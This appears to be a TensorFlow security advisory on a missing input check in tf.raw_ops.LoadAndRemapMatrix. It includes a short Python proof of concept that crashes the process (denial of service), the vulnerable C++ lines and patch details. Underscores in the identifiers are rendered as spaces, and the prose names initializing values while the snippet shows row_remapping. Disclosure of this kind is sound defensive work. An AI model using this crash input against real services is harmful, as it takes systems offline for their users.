Impact
The implementation of [
tf.raw ops.LoadAndRemapMatrix](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/load and remap matrix op.cc#L70-L98) does not fully validate the input arguments. This results in a CHECK-failure which can be used to trigger a denial of service attack:python
import tensorflow as tf
ckpt path = tf.constant(
"/tmp/warm starting util test5kl2a3pc/tmpph76tep2/model-0", shape=[], dtype=tf.string)
old tensor name = tf.constant(
"/tmp/warm starting util test5kl2a3pc/tmpph76tep2/model-0", shape=[], dtype=tf.string)
row remapping = tf.constant(0, shape=[], dtype=tf.int64)
col remapping = tf.constant(3, shape=[3], dtype=tf.int64)
initializing values = tf.constant([], shape=[0, 1], dtype=tf.float32)
tf.raw ops.LoadAndRemapMatrix(
ckpt path=ckpt path,
old tensor name=old tensor name,
row remapping=row remapping,
col remapping=col remapping,
initializing values=initializing values,
num rows=1,
num cols=1)The code assumes
initializing values is a vector but there is no validation for this before accessing its value:cc
OP REQUIRES OK(context, context->input("row remapping", &row remapping t));
const auto row remapping = row remapping t->vec<int64 t>();Patches
We have patched the issue in GitHub commit 3150642acbbe254e3c3c5d2232143fa591855ac9.
The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.
